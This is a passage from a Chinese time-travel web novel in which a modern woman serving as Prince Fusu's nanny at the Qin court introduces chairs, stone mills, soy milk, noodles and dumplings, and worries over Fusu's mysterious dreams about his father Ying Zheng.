身体每日折叠在一起，不能舒展，那骨头怎么长得好。
现在李远找她过去，肯定是已经做好了。
一踏进李远的院子，她就再次被李远的手艺给震惊了。
一套简单朴素的实木桌椅在院中央整齐地摆放，和现代的桌椅几乎没有差别。甚至更为美观，椅子靠背部分他还做了镂空雕花设计。
“这是梅花？”楚荍辨认了一下花朵形状，问道。
“对。好看吗？”
突然有一个小女孩不知从哪蹦出来，一脸期待地问。
楚荍看看眼前大概只有十三四岁的小女孩，又看看李远，这两人怎么长得有点像啊？
李远一下抓住女孩的手臂，把她拉开，然后不好意思地向楚荍道歉，“对不起啊姑姑，这是我妹妹李小花，没吓着你吧。”
“没有没有，”楚荍连连摆手，笑着说，“你和你妹妹虽然长得像，但是你妹妹可比你好看多了。”
李小花圆圆的脸上有着一双圆圆的大眼睛，脸颊上还有些婴儿肥，别提多可爱了。
“哈哈是吧，大家都这么说呢！”李小花一下握住楚荍的手，眼睛亮晶晶地笑着说，“姑姑也很好看。”
“李小花！”李远见自己妹妹这么没规矩，吓得立马就要把她拉走。
楚荍朝李远摆手，示意他放心。
“让我猜猜，这椅背上的雕花
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是你雕的？”
“姑姑你怎么知道？”李小花瞪大了自己的双眼，一脸不相信的样子。
哈哈哈，楚荍被李小花这古灵精怪的样子逗得大笑。她伸手刮刮小姑娘的鼻子，笑道：“要是姑姑这还猜不出来，岂不是白活这么多年了？”
没想到李小花听到这话，十分认真地朝楚荍摇头，“姑姑不老。”
楚荍被小孩子跳脱的思维逗得一愣，然后就又被她拉着在椅子上坐下，“姑姑你坐，看看舒不舒服。”
坐下的一瞬间，楚荍就明白，李远不仅是个天才，还是个十分努力的天才。
她给李远画草图的时候，连尺寸都没有。但是李远做出来的成品却完美符合她的要求。
甚至还有李小花的雕刻锦上添花。
中午，楚荍就找人把这套桌椅搬到了扶苏平日上课的偏殿。顺便把李远也带去见扶苏，好让他量一下符合扶苏现在身高的桌椅尺寸。
“姑姑，你这是？”扶苏见楚荍招呼着人忙上忙下，疑惑地问。
“公子，这是桌椅，坐在上面很舒服的。”楚荍指挥人把桌椅在殿内放好后，便推着扶苏让他上去坐坐。
因为偏殿是上课用的，考虑到老师，所以这套桌椅是成人尺寸的。对扶苏来说，稍微有些高。所以楚荍特意准备了一个小凳子用来垫脚。
扶苏好奇地坐上去之后，立马就发现了这种桌椅的好处。他双脚随意晃荡，全然没有了跪坐时的不适。他又拿起楚荍递过来的竹简，发现在桌上看竹简也比跪坐时更舒适。而且坐在椅子上，视野也比以前更加开阔，简直哪哪都好！
楚荍看着扶苏乖乖坐在椅子上晃脚脚的样子，心都要萌化了。全然没注意到已经到她身后的嬴政。
“这是何物？”
“这个是桌椅，用来读书写字，很方便的。”
“这构造看起来和床有些像。”
这时候的床是胡床，用来坐的。睡觉不在床上，而是直接睡在铺好铺盖的地上。
“是有点像，诶，你还挺懂行的啊。”楚荍有些惊喜地说。
不过不知为何，她说完这句话之后，所有人好像都凝固了一样，一动不动地，一脸她已经是死人的样子盯着她。
扶苏是最先反应过来的那个，他本来还在试桌椅，结果听到楚荍在和人说话，一抬头，就发现自家父王站在自己姑姑身边。他还没来得及说话，楚荍那句“你还挺懂行”就已经说出口。
楚荍自然也意识到不对，她一点一点转头，刚转过去就发现嬴政正饶有兴趣地盯着她看。
只对视一眼，楚荍却好像看到有真龙缠绕在嬴政身上。仿佛与她对视的不是嬴政，而是他身上真龙睁开的摄人心魂的金色双眸。
“参见大、大王。”
楚荍立马退后跪下行礼，只一眼，她背后就沁满冷汗，甚至被吓到结巴。
这就是千古一帝吗，身上威严的气场宛如实质。
楚荍一跪，殿内其他人也好像如梦初醒，扑通扑通下饺子一样，瞬间所有人都跪下了。
9. 第九章 拉手手
至少站满了十几人的殿内鸦雀无声，针落可闻。
除了扶苏，所有人都跪在地上，屏息噤声。
“父王，您今日怎么有空过来？”
扶苏走上前，勾起的嘴角很快就放了下去。不知为何，自从前几日做过那个梦后，虽然他完全不记得梦里的内容，但只要一看到父王，心里就会十分难受。
就好像一见到他，心里某个碎掉的地方就变得空荡荡的，寂静的只剩回响，让他无所适从。
“我若没空过来，岂不是看不到这新鲜玩意了。”嬴政玩味地答道，伸手摸了摸扶苏的头，眼神却盯着跪在地上的楚荍。
“父王，这是姑姑今天刚搬过来的，坐起来很舒服。”
扶苏抬起头努力笑着对嬴政说。只见他抬了一下手，短暂犹豫片刻之后，还是伸出手牵住嬴政，带着他往桌椅走去，“父王，您也试试。”
嬴政被扶苏小小的手握住，心中突然就好像有什么东西被击中了，但面上却不显露分毫，任由他牵着自己在椅子上坐下。
扶苏对他甚少有亲近之举。
楚荍低头跪在地上，虽然刚刚她被嬴政审视的目光吓了一跳，但是现在已经缓过来了。而且听着两人谈话的动静，意识到发生了什么，她实在没忍住偷偷抬眼看了一眼。
就这一眼，楚荍便觉得自己这会儿就是死了也无憾了。还有什么事是比看小扶苏牵着政哥更幸福的吗？
没有了！
嬴政坐在椅上，手顺势搭在扶手上，丝毫没有对新鲜事物的抵触感，反而适应得很快。坐了一会儿，他就发现坐椅子确实比跪坐舒服。
“这桌椅是姑姑刚鼓捣出来的，就让她给父王介绍吧。”
见扶苏一脸恳求的望着自己，嬴政也就给了他这个台阶。这还是扶苏第一次主动牵他，他自然不会拒绝。
“那就让她介绍吧。”
嬴政说完，所有人都看向楚荍。
结果楚荍正在挤眉弄眼给旁边的卫兰使眼色，她本来是想让卫兰记下扶苏伸手牵嬴政这绝美温情的一幕，完全没想到话题这么快就转到自己身上。
不过这次她反应十分迅速，立马就站起来开始给嬴政介绍桌椅的种种好处。丝毫没有开小差被抓包的窘迫。
扶苏在一边看着，都忍不住感叹自家姑姑还真是胆大。他还是头一次见到有人敢在父王眼皮底下搞小动作的。
嬴政并没有呆很久，又问了几句扶苏的功课之后，便回去处理政务了。
嬴政走后，扶苏就很严肃地叫了一声楚荍。
楚荍见扶苏语气是难得一见的严肃，知道今日之事是自己错了。宫里处处都是贵人，她行事该更谨慎一些才是。不然就会像今天一样，一个奴婢竟敢如此放肆地跟大王说话，那就跟死人没区别了。
她虽是现代人，但这里却是等级森严的古代。她长叹口气，走到扶苏面前，低着头，哭丧着脸，已经做好挨骂的准备了。
“姑姑！”
扶苏拔高音量，楚荍的头更低了，一句我错了在嘴边马上就要说出来，结果扶苏加快语速来了句：
“姑姑，我看父王挺喜欢这桌椅的，记得也给父王那里送几套去。”
楚荍听出扶苏话里的笑意，立马就明白小孩在逗自己玩。她刚刚急中生智打好的忏悔稿也没了用处，楚荍没好气地笑了起来，伸手就要捏扶苏的脸。
“好啊，公子真是长大了，都会逗姑姑玩了是不是。”楚荍狠狠揉了一下扶苏的脸，这才消了气。她之前怎么没发现呢，他家公子焉坏焉坏的。
晚上，入睡前楚荍照常打开系统。扶苏对她的好感度已经积攒到56点。她又打开好感度商店，今天也照常刷新了一些垃圾。这么久了，她还只换了一支牙膏。
不过攒着也无妨，等后面能给商店升级了，说不定会刷出些好东西。她现在更在意的是完成第一个任务的奖励——治疗严重伤病的金丹。
系统给他解释过，这金丹差不多能“起死人而肉白骨”。在这样一个医疗水平极其低下的时代，有这样一颗保命的药还是很重要的。
就在楚荍思索之时，系统“叮”的一声出现了，甚至又换了个形象。这次又变成了双马尾戴黑框眼镜的萌妹。
楚荍已经对系统的二次元属性习惯了，甚至开始欣赏。
“小康康啊，你这金发蓝眼镜差点意思啊，这么可爱的双马尾肯定要配白发红眼才对味！”
没想到系统把她的话给听进去了，立马就把自己的发色和美瞳换了，甚至还无师自通配上了个病娇的表情。连发布任务都给忘了。
还是楚荍咳了一声才打断它的自我欣赏。
“哎呀，差点忘了！”
系统清了下嗓子，开始发布常规任务：“每月伊始，宿主可选择开启一人的好感条。请在以下三人中选择。”
系统一说完，意识之海中便显现出了三个人的名字。分别是卫兰、郑威和李远。
这三个人是楚荍穿越过来之后除了扶苏之外接触最多的人。
没有过多犹豫，楚荍很快就选择开启卫兰的好感条。毕竟卫兰是她穿越过来之前和原主关系最好的人。关系好，好感度涨起来也快。
和扶苏一样，卫兰的对她初始好感也是30点。
这好感度虽然看起来涨得快，但是涨满也很难。要涨满100点，估计得是发生什么特大事件，两个人之间的感情有了突破性进展，才有这个可能。
楚荍忍不住在心里叹气，思虑着各种各样的事情，迷迷糊糊之间很晚才睡着。
没办法，她就是这个性格。表面看起来给人一种她很骄傲、很自我、很不好惹的样子，一到夜深人静的时候，心里的焦虑就会溢出来。就算到了很严重的地步，也不会向人求助。
这一点原主和楚荍刚好相反，原主性格更温和，也更讨人喜欢。楚荍穿过来要做什么事都几乎没什么阻力的一个很重要的原因就是原主几乎和所有人的关系都很好。
呵，明明是完全相反的两个
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人，却被系统选中交换了灵魂，命运还真是有趣啊。
翌日下午，蒙恬就派人把石头给送了过来。楚荍再一次感叹秦国人办事效率之高，难怪天降大任于大秦呢，她要是老天，她也让大秦赢。
楚荍直接让人把东西送到李远那里。那桌椅做起来简单，昨日扶苏吩咐下来要给大王也做几套，李远也就直接把图纸给了其他工匠。他就在一旁指导一下，不过李小花倒是接着在忙。给大王做的桌椅自然不能太过朴素，楚荍看中李小花雕刻的手艺，简单告诉她自己的想法之后，便让她自由发挥。连李远都对楚荍这么信任自家妹妹惊讶了。
“李远，小花以后会是很好的木雕师，你该相信她才是。”
楚荍看着不远处正在认真雕刻的李小花，笑着朝李远摇头。
这才不过一日，小花的雕刻已经初具雏形，一条龙从椅子腿盘旋而上，到椅背刚好搭着龙头。虽然还只是个轮廓，但已经能预见其华丽。
“好了，你还是先来帮我解决这个问题吧。”楚荍掀开车上遮盖的布，露出里面的石头。
蒙恬甚至十分贴心地帮她把石头的大致形状给切割和打磨好了。
车板上码着两两尺寸相同的四块石头。一个是大磨要用的差不多直径一米的石头，另一个是直径五十厘米的小磨。
石磨的原理比较简单，在两扇磨面上刻出整齐排列的磨齿，上下石块凿出相同位置的洞用以放磨脐子，也就是铁轴防止上扇在转动时掉落。然后上扇还要再留一个洞用来放粮食。这样就能用来磨米、面、豆子了。
虽然原理简单，但是做起来还是费了点功夫。
三日之后，这一大一小两个石磨才组装好送到膳房。
楚荍接到消息就立马赶去了膳房准备一展身手。拜托，用面粉能做的东西不要太多！
还没开始做，楚荍就已经怀念起肉包子的味道了。
她吃肉包子最喜欢吃被油香浸到的那层面皮，别提有多好吃了。
大磨用来磨面粉，小磨用来磨豆浆，直接双管齐下，简直完美！
豆子磨的比较快，差不多有一锅豆浆的量之后楚荍就让先人把这锅豆浆烧开，捞掉一些浮渣之后再加入天然的野蜂蜜。就这样，一锅顺滑香甜的豆浆就出锅了！
楚荍尝了一杯之后眼泪都要下来了，对她这个豆浆爱好者来说，能在这种时候喝到豆浆简直是天大的安慰。
这锅的量并不多，厨房里的师傅一人尝了一点之后就见底了。尝过之后所有人都被这豆浆的味道惊艳，连看向楚荍的目光都有些不一样了。见到石磨和磨豆子的时候他们还以为楚荍在故弄玄虚，心里多少有些嗤之以鼻，带着看笑话的心态看着楚荍和郑威几人忙前忙后，结果没想到竟真让他们给搞了出来。
等到楚荍要揉面发面的时候，一个个都来了劲，争着抢着要先试。
感受到众人态度的变化，楚荍忍不住在心里笑。
现实就是这样，打脸总是来的如此之快，哼哼。
10. 第十章 鸡汤面和饺子
午后，膳房内。
楚荍本想先试些面点，然后想起来现在这年代根本没有现成的酵母。馒头包子是吃不上了，但是面条饺子还是能吃上的。
面条和饺子皮都用的是死面团，不需要酵母。不过天然酵母她也会养，就是要养七天。今天肯定是吃不上了。
什么，你问楚荍怎么什么都会？那肯定是因为现代无聊的年轻人什么古法豆浆、古法豆腐、还有各种教你怎么发面、怎么做面条、怎么包饺子的美食视频，没看五十遍也看了有二十遍吧。
就算实操经验不多，理论基础总是充足的。而且她身边都是厨艺高超、一点就通的大厨，甚至都不需要她全程动手，她只要偶尔示范一下，然后在一边指导就行。
很快，在她的指导之下，第一锅面条煮好了。揭盖的瞬间，面香铺满了整个房间。
粗细均匀的面条，加入浓郁的鸡汤，最后再撒上青绿的小葱点缀，一碗完美的鸡汤面就这样做成了。
第一锅面条，膳房里所有人都分了一小碗。爽滑劲道的面条，配上鲜香的老母鸡汤，一口便让人唇齿生香。
也是这锅面条，让楚荍彻底收服了膳房所有大厨的心。
后面饺子做起来，有了刚刚做面条的经验，大家也都更得心应手。揉面、擀面皮、和馅、包饺子、煮饺子，所有人都各自分工，有条不紊地做着自己手上的活儿。
当晚，各宫的饭食都变成了鸡汤面加羊肉大葱饺子和豆浆。
当然，楚荍也没忘了对蒙恬的承诺，随即遣人送去了足份足量、三大食盒的新鲜吃食，甚至贴心送去了一份食用说明。
从膳房回到偏殿之后，楚荍又撺掇扶苏今晚去和嬴政一起吃。这种时候扶苏要是能在一边给嬴政解释这几样新鲜吃食的吃法，妥妥促进父子感情的好办法啊。
感情嘛，本身就是一点一滴相处出来的。
而且楚荍上次错过他们俩一起吃饭就要后悔死了，现在机会来了，必须要抓住。
最后在楚荍苦苦劝说了十分钟和以今晚再给他讲个新故事的条件，扶苏才答应此事。
听到宫人通传，嬴政一抬头就看到扶苏带着人走上前行礼。
“父王，今日政事可忙完了？”
嬴政闻到从食盒中漏出来的香气，明白扶苏来所为何事，也就放下手中竹简起身。
宫人很快就把饭菜摆好，嬴政看着这几样他没见过的新鲜吃食，看向规矩站在一边的楚荍问道：“这些都是你弄的？”
“回大王，这些是妾与膳房各位大厨一同研制的。”楚荍没敢把功劳都揽在自己身上，这些饺子面条她一个人是真弄不来。
扶苏适时接过话；“说起来，蒙叔也帮了不少忙呢。姑姑他们磨面粉用的石磨就是蒙叔帮忙搞定的。”
“哦，是吗？”嬴政笑着反问，劁猪之事上次蒙恬和他说了，这“石磨”倒是没听他说起。
楚荍在一边看着，怎么感觉她政哥笑起来比不笑还吓人啊。
嬴政脸上是一种很危险的笑，虽然很帅，但总感觉他下一秒就要从嘴里轻轻吐出一个“死人”的名字。
蒙将军不会没把此事告诉大王，然后大王现在怀疑她与外臣勾结，另有野心吧？楚荍在一边偷偷观察嬴政的脸色，然后脑补了自己的一万种死法。
“是啊。”扶苏点点头，仿佛丝毫没有听出来嬴政语气里的不对。
“父王，这碗是鸡汤面，这盘是饺子，可以配着蘸汁一起吃，这碗是豆浆。您尝尝看合不合口味。”
“你吃过了？”嬴政见扶苏熟练为他解释的样子问道。
扶苏摇摇头，笑着说：“没有，不过姑姑跟我介绍过了。待会儿和父王吃完，我还准备去膳房看看石磨长什么样子呢。姑姑说晚上她还要做豆腐，我也想去看看。”
嬴政接过扶苏递过来的筷子，听扶苏一口一个姑姑十分亲密地叫着。
不知道为什么，他好像越来越不喜欢这个女人了。
在旁边布菜的楚荍，一扭头刚好和嬴政的眼神对上。
不过这次楚荍没被吓到。刚刚政哥看他那一眼怎么怪怪的啊，那眼神很微妙，既不是之前那种威严审视，也不是怀疑打量。她具体说不上来，就感觉怪怪的。就好像这种眼神不应该出现在政哥身上那种违和。
“嗯！”扶苏先尝了一个没沾蘸汁饺子，咬开的一瞬间眼睛瞬间亮了起来。羊肉混合大葱的香气在口中爆开，肉馅的鲜嫩和饺子皮的劲道软滑组合在一起，就像在咀嚼的过程中在你口中跳了一支美轮美奂的舞，让你回味无穷。
尝完一个，扶苏立马又夹了一个饺子，沾上楚荍专门调的蘸汁——醋加上姜丝和小葱，顾不上烫，吹了两下就放进嘴里，眼睛又是一亮。沾上醋之后和之前又是完全不一样味道，姜丝醋刚好能够中和饺子馅的腻，还让味道多了一个层次，比原味的更好吃了！
嬴政看着扶苏吃得嘴巴都鼓起来了，好奇心也被吊了起来，真这么好吃？
他半信半疑地夹起一个饺子，也学着扶苏的吃法，先没沾醋，直接放进嘴里。吃完后又夹了一个，沾上醋吃掉。
“好吃吗，父王？”
扶苏和楚荍两个人用着同样期待的眼神眼巴巴望着嬴政。
“还不错。”嬴政勉为其难地点评一句。
扶苏和楚荍相视一眼，都十分欣喜地接受了这个点评。
“还不错”这三个字应该是嬴政对食物能给出的最高评价了。
能得这么一句，楚荍就已经要幸福死了。以后这句话将会刻在她的墓志铭上！
三样吃食都试过之后，扶苏不出意外最喜欢的是那碗甜豆浆。
而且通过楚荍的观察，政哥最喜欢的应该是那碗鸡汤面，因为最后他连汤都喝的一滴不剩。
这么看来，她家政哥有点口嫌体正直啊，难道千古一帝的隐藏属性是傲娇？
楚荍暗戳戳地站在一边臆想，甚至越想越兴奋，口水都要流下来了。
不过很快，扶苏就打断了她。
“姑姑，你之前说的豆腐，和我们刚刚喝的豆浆有关系吗？”
“回公子，有关系的，豆浆是做豆腐的第一道步骤。”
楚荍回过神，给两人简单介绍了一下做豆腐的工序。
扶苏听完，更是迫不及待想去膳房看看。
正当他准备起身告辞时，却想起上次
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蒙叔对自己的教导。
“公子，下次再有这种事情，您得先邀请大王才是。”
楚荍见扶苏犹豫了一下，没想到扶苏竟然会邀请政哥和他一起去膳房看石磨，更没想到政哥居然同意了。
可是，在去膳房的路上，楚荍就察觉到气氛有一丝诡异。
怎么没人说话啊喂？
难道不应该是一路说说笑笑，轻松出游的氛围吗？
现在倒好，不仅没人说话，扶苏亦步亦趋跟在嬴政旁边，两人连个手都不牵！上次不是牵得挺好的，今天怎么不牵了！她在心里愤愤不平地想。
不过等到了膳房，见到各种新奇玩意之后，小扶苏立马就原地复活，开始向楚荍各种提问。
嬴政也对着要两匹马才能拉动的大石磨研究一翻，原来麦子就是这么磨成面粉，然后做成面条的。
膳房里这个时候都在备明天早上饭食用的菜，但整个膳房都分工有序，井井有条，甚至很多人都没注意到大王和公子来了。
见状，嬴政甚是满意，直接一拍石磨，大手一挥，“赏！”
“诸位每日辛苦了，通通有赏。”
嬴政对着众人说道，做足了姿态。结果一转头就看到楚荍眼巴巴望着他，好像在问“哪她呢哪她呢？”
他微微一笑，又是一挥衣袖，对着楚荍说道：“你，自然是.......重重有赏。”
听到政哥话里的拐弯，楚荍心里一跳，然后又立马喜笑颜开：“多谢大王！”
在膳房赏赐完后，嬴政就回宫中去处理政务了。他自然是没有这个闲工夫留下来看“豆腐”是怎么做的。
可是嬴政一走，扶苏的脸色立马就难看起来。楚荍眼疾手快地抱住扶苏，立马问道：“公子，你怎么了？”
“姑姑，我做了个梦，我不记得梦里有什么。可只要一接近父王，这里就痛。”
扶苏被楚荍抱在怀里，脸色苍白，却指着自己的心说，只要一碰到大王就痛。
闻言，楚荍的脸色也难看起来，好像她的心也被揪住了。
一个能让扶苏接近政哥就难受的梦，除了那件事，她想不出别的了。
楚荍心里难受起来，又十分自责。今日是她一直坚持要扶苏和大王一起用膳，却没想到扶苏竟然强忍疼痛这么久。
难道，她的穿越，还是改变了这个时空原本的一些事？楚荍百思不得其解。
她紧紧抱住扶苏，心中情绪交织，眼泪顺着眼角滑落。
都是她的错，让扶苏白受了这么多苦。都是她的错......
另一边，蒙恬放下刻着食用说明的竹简，给家人解释这些新鲜吃食的由来。
“所以，你是说这宫里独一份的新鲜吃食，送到我们家了？”蒙武问向自己儿子。
蒙恬闻言点点头，他想了一下那日楚荍请他帮忙的样子，已经能够想象这人是怎么大张旗鼓把东西送过来了。
他自然也听出了自家父亲的话外之意。虽说他们蒙家是大秦绝对的忠臣，但伴君如伴虎，现在扶苏尚小，又得大王宠爱，亲近一些倒也无妨。
可若扶苏大了，大王又无放权之意，他蒙家又该如何自处？
11. 第十一章 妈妈粉
漆黑寂静的夜里，楚荍却翻来覆去睡不着。
公子到底做了什么梦，竟然会让他一接近大王就感到心痛。
而且算一下时间，扶苏做噩梦的时间好像就是她穿过来的第二天晚上。
能让公子对大王产生的隔阂的事情，除了那件事，楚荍想不出来别的事了。
可是那件事现在根本就没发生，扶苏又怎么会梦到呢？而且是梦到之后不记得内容，但却会被梦里的情绪影响。
她也问过系统，系统说它也不知道为什么会发生这种事。它并没有检测到在楚荍穿过来之后出现过时空波动。
唉，楚荍长叹口气。外面天已经蒙蒙亮了，而她一夜未眠。
一个鲤鱼打挺，楚荍从床褥中坐起。反正也睡不着，干脆起来算了。
不知道公子怎么样，好些了没有。楚荍担忧地想，脚下的步伐也逐渐加快。
到了扶苏寝宫之后，楚荍却发现扶苏已经醒了。微弱的灯火晃动，他身上只披了一件单薄的寝衣，就这样呆呆的抱着膝盖坐在床边。
楚荍一进门看到这样一幕，两行清泪瞬间就顺着脸庞滑落。她提起裙摆跑上前，心疼地抱住扶苏。又扯过床褥盖在扶苏身上，确认把扶苏包好之后，才开口轻声问道：
“公子今日怎么起得这么早？”
扶苏在楚荍怀里笑笑，抬手擦掉楚荍脸上的眼泪，反过来安慰她：“姑姑别担心，我没事的。今天醒的比较早，我就起了。”
“真的？”楚荍握住扶苏的小手，依旧担心地反问。扶苏刚刚的状态明显看着不对劲。
扶苏点点头，“真的，倒是姑姑，怎么哭了？”
“姑姑没哭啊，”楚荍抬手把眼泪和衣一擦，笑着说，“这是刚刚跑进来沙进眼睛里了。”
楚荍见扶苏把话题引到自己身上，知道他心里也不好受，便没有再追问。哪有让生病的人来安慰她这个没事人的道理。
今日起得早，早膳还没送来。楚荍有意想说两句逗扶苏开心：
“公子，想不想听笑话？”
见扶苏点头，楚荍清了清嗓子说道：“从前有个人名叫杨布，一日他穿着白褂子出门，下雨了。他脱下外衣，只穿着黑衣裳回家。家里的狗见了，以为是陌生人，汪汪大叫。杨布怒了，就要打狗。”
“结果被他哥哥拦下，你猜他哥哥说了什么？”
“说了什么？”扶苏带着一点好奇问道，十分给面子的捧场。
“他哥哥说……哈哈”楚荍不知道是想到了什么，自己先笑了起来，“他哥哥说别打别打，这怎么能怨狗呢。要是让狗一身白毛出去，一身黑毛回来，恐怕你也认不出来吧。”
“公子，他哥哥骂他弟弟是狗……哈哈哈哈哈哈。”
扶苏虽然听懂了，但实在没搞懂笑点在哪里，也没搞懂楚荍是怎么笑得直不起腰的。
怎么说呢，他家姑姑什么时候性格这么“活泼”了？
扶苏简直哭笑不得。可难受的心情却莫名好些了。
送扶苏去偏殿之后，楚荍就去了李远那里。
给大王准备的桌椅做好了，她去检查一下确认没问题之后就要送到大王宫里。
“姑姑，你来了？”
李小花第一个注意到站在门口的楚荍，一溜烟就跑到她身边拉着她的手撒娇。“姑姑你看，这是我雕的，怎么样？”
她拉着楚荍来到院中央，一脸期待地看着楚荍。
院中央摆着一套桌椅，这套桌椅上的雕刻都是小花一刀一笔亲手刻的，倾注了她的心血。
只见重工雕刻的椅子，一条威严张扬的龙从椅腿上盘旋而上。不仅仅是简单线条龙纹雕于木上，而是更加立体，更加华丽的龙攀在椅背上，精心雕刻的龙头搭在椅背顶上，一双点睛之眼微闭，眼中精光却暗藏不住，直叫人心惊肉跳。
楚荍围着这张椅子啧啧称奇，虽然她之前就和李远说过，李小花会成为很好的木雕师。但今天看到张椅子，她还是被小花的雕刻天赋给震撼了。看来这哥妹俩都是天才啊，真是让她给捡到便宜了。
先秦时期龙纹图案的线条是比较简单的，远比不上后世华丽。宋人罗愿所作《尔雅翼》中，“释龙”为：“角似鹿、头似驼、眼似兔、项似蛇、腹似蜃、鳞似鱼、爪似鹰、掌似虎、耳似牛”。
她将后世人们“龙”形象的理解和描述告诉小花，但是没有给她画草图。她怕她糟糕的画技影响了小花的想象。现在事实证明，她的决定没错。
小花所雕刻的这条龙虽然与后世的龙并不完全相同，但是威严神圣的精髓抓住了。特别是这双眼睛，简直是画龙点睛。
而且楚荍注意到小花堆在一边的废料，她随手捡起一个，这是小花为了打样雕的小龙。
看着这些已经初具形状的小龙，一个想法在楚荍脑海里悄然形成。
要是小花雕刻能力这么强，那她是不是可以拜托小花帮她雕一个政哥手办！
“姑姑？”李小花拉了拉楚荍的袖子，她看楚荍围着椅子转了几圈却不发一言，心里也忐忑起来。
楚荍回神，看出她的紧张，伸手摸摸小花的头，笑着说：“我看啊，简直不要太好。我还没见过比小花雕得更好的。”
“特别是这双眼睛，简直是画龙点睛，特别好。这样气派华丽的桌椅，才配得上大王尊贵的身份。”
李小花被楚荍几句话夸得找不着北，竟然有些不好意思地问：“真的吗，姑姑？”
“当然是真的，姑姑还能骗你不成。不信你问你哥。”
李远听到自己猝不及防被点名，别别扭扭地说道：“还不错吧。”
“好耶！”小花一把抱住李远，兴奋地说，“姑姑你不知道，哥哥这还是第一次夸我呢，看来我还是比哥哥说的强上那么一点点！”
小姑娘比了一下小拇指，楚荍和李远都被她搞怪的动作和表情给逗笑。
这套没问题了，楚荍又去检查了另一套要摆在政哥寝宫的桌椅。那套桌椅是交由别的工匠做的，因为是放在寝宫的，所以是以舒适
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为主。相比放在主殿书房的那套，就要简约很多。
两套都检查完没什么问题之后，楚荍就指挥人把这两套桌椅运到大王宫中。
午后，主殿书房内，通报之后，楚荍就带着人开始摆放桌椅。
这套檀木重工的桌椅倒是让嬴政眼前一亮，特别是椅子上的这条龙。
嬴政在椅子上坐下，惊奇地发现这张椅子虽然是重工雕刻，但是丝毫不影响它的舒适度。无论是椅背，还是扶手，靠着搭着都很舒服。虽然扶手上还雕着一只龙爪，但是他斜靠在扶手上也不会被硌着。
楚荍看嬴政试着桌椅，露出满意的表情，虽然松了一口气，但抱着锦盒还有有些局促不安。
无他，只因这锦盒里装的是“内裤”。
古代“裤子”源远流长，一直存在有裆和无裆两种款式，裤子穿在里面，外面再围上一条叫做“裳”的围裙。不过古代开裆的款式居多，所以在古代双腿前伸的坐法是十分无礼且不雅观的，这也是为什么跪坐在中国存在了很长一段时间。
现在要改坐座椅，不仅裤子要改，自然也要把“内裤”穿上以保护隐私位置。
楚荍在准备给扶苏做桌椅的时候，就把“内裤”也给准备上了。她甚至贴心提供了平角和三角两种款式。
她第一次跟扶苏介绍的时候，本来准备帮他穿来着。结果扶苏羞红了脸非要自己穿，她和卫兰还根据扶苏的反馈，调整了好几版。
楚荍本来是想让扶苏来说这件事，但是现在扶苏身体这个样子，她自然是不敢再让扶苏接近政哥，所以只能她自己来了。
但是没脸没皮如楚荍，要跟政哥介绍如何穿内裤和穿内裤的种种好处，也还是太超过了。所以聪明如她，已经提前准备好了使用说明。
楚荍向嬴政献上竹简，又一并打开锦盒。
嬴政看完竹简上的内容，又看向锦盒内的东西，勾起一个玩味的笑，问道：“这也是你准备的？”
“回大王，是。”楚荍根本不敢抬头，但是红透的耳朵已经暴露一切。
“你这竹简上说的不错，重点位置确实需要好好保护。这样吧，既是你做的，你肯定最为熟悉，不如你来帮本王穿上如何？”
啊？嬴政的话如惊天霹雳落到楚荍耳里，她一脸震惊地抬头，被吓得耳朵上的红都褪了下去。
救命，政哥虽然是她偶像，但她不想当嫂子啊，她是妈妈粉啊！
正当楚荍脑子飞速运转要怎么解决这件事、cpu马上就要烧掉的时候，却听见嬴政哈哈大笑起来。
“哈哈哈，刚刚你的表情还真是有趣。”
啊？
噗嘶，楚荍好像听见自己硬盘烧坏冒烟的声音了。
很好，她又找到一个政哥和扶苏是亲父子的证据——两个人都是腹黑系的。
看着嬴政开怀大笑的样子，楚荍忍不住在心里吐槽：政哥，你还是真是会寻我开心啊。
这时，忽闻宫人通传：
回禀大王，公子不在殿中。
12.第十二章 察觉
四月，正是好时节，花园内满园芬芳。春风吹过，洁白细小的梨花纷纷飘落。
扶苏静静站在树下，不多时，就白了头。
楚荍和嬴政来时，看到的便是这样一副美好、浪漫、却会让人感到悲伤的画面。
公子好像一直都是一个人，会孤单吗？
楚荍忍不住去想。
嬴政本想叫扶苏一起来欣赏那套新桌椅，结果他不在偏殿，而是去了花园散步消食。
看着外面阳光灿烂，加之他心情不错，便想着来找扶苏一起来走走。
结果透过花瓣下的笑脸，怎么看着有些苍白和虚弱？
扶苏听到动静，扭头看见楚荍和嬴政。原本因阳光和花瓣轻盈的心，瞬间又沉重起来。
他在原地愣了几秒，收拾了一下自己的心情，这才上前行礼。
“父王，您怎么过来了？”
“听宫人说你来了花园，”嬴政没接着说他来此地的目的，反而皱着眉指着他眼下的乌青问他，“最近没睡好？”
闻言，扶苏垂下眸。想了一下，他决定实话实说。没有必要在确切的证据面前撒谎，特别是在父王面前。
“最近晚上总是做梦，所以没睡好。”扶苏朝嬴政点点头，轻声说道。
“梦到了什么？”嬴政继续追问。
“不记得了，一睁眼就全部不记得了。”
扶苏笑着摇头。虽然他在笑着，但嬴政很轻易就听出了扶苏话里的痛苦。
总是做梦，却又不记得梦里的内容么？
嬴政想起自己小时候那段被梦魇住的回忆。那时他刚刚回秦国，有一段时间也是经常做梦，但梦醒后又什么都不记得，可每次只要一接近赵姬，也就是他母亲，就会非常痛苦。那时他的症状非常严重，太医却又查不出病症。后来他们给他做了祛除邪祟的仪式，宗室族长将一块祖传的玉佩给他戴上，他才渐渐好起来。
难道扶苏也是这个病症？
“除了不记得梦的内容，可还有其他难受的地方？”嬴政问。
扶苏摇摇头，强撑起笑容，“没有了，孩儿只是有些没睡好，父王别担心。”
看出扶苏的勉强，嬴政皱起眉正准备追问，就被宫人打断。
“大王，李大人求见。”
闻言，几人一回头，就看到宫人领着李斯在不远处站着。李斯表情焦急，看起来是有什么重要的事情要与嬴政相商。
“你若有任何不适，便传太医来看看。”嬴政叮嘱了几句后就和李斯一起匆匆离开。
走出几步之后，嬴政回头，发现扶苏依旧站在树下，洁白的花瓣在他身边飞舞。他心头突然一跳，不知怎地，他突然觉得他这一走，扶苏好像要变成透明的蝴蝶飞走了。
“大王？”嬴政被李斯叫回神，扶苏依旧站在树下，好像刚刚都是他的错觉。
嬴政一离开，扶苏身形一晃，就有些撑不住。楚荍一个箭步就上前扶住扶苏，担心地问：“没事吧，公子？”
扶苏依旧摇摇头，“没事，父王一走就好多了。”
楚荍本想带着扶苏回寝宫休息，可扶苏想接着在花园里晒晒太阳，闻闻花香。楚荍自然也没有坚持，只是叫人搬来了椅子。
